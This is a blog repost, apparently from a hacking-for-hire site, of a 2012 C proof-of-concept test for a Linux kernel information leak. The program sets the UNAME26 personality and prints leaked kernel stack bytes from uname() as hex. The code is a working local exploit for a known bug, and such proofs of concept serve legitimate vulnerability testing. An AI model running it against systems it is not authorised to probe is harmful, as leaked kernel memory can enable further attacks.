Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385743

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
source: https://www.securityfocus.com/bid/55855/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
*/

/* Test for UNAME26 personality uname kernel stack leak.
 * Copyright 2012, Kees Cook <keescook@chromium.org>
 * License: GPLv3
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/utsname.h>

#define UNAME26 0x0020000

int dump_uts(void)
{
	int i, leaked = 0;
	struct utsname buf = { };

	if (uname(&buf)) {
		perror("uname");
		exit(1);
	}
	printf("%s\n", buf.release);

	for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
		unsigned char c = (unsigned char)buf.release[i];

		printf("%02x", c);
		if (c)
			leaked = 1;
	}
	printf("\n");

	return leaked ? (i - (strlen(buf.release) + 1)) : 0;
}

int main(int ac, char **av)
{
	int leaked;

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes even without UNAME26!?\n", leaked);
		return 1;
	}


	if (personality(PER_LINUX | UNAME26) < 0) {
		perror("personality");
		exit(1);
	}

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes!\n", leaked);
		return 1;
	} else {
		printf("Seems safe.\n");
		return 0;
	}
}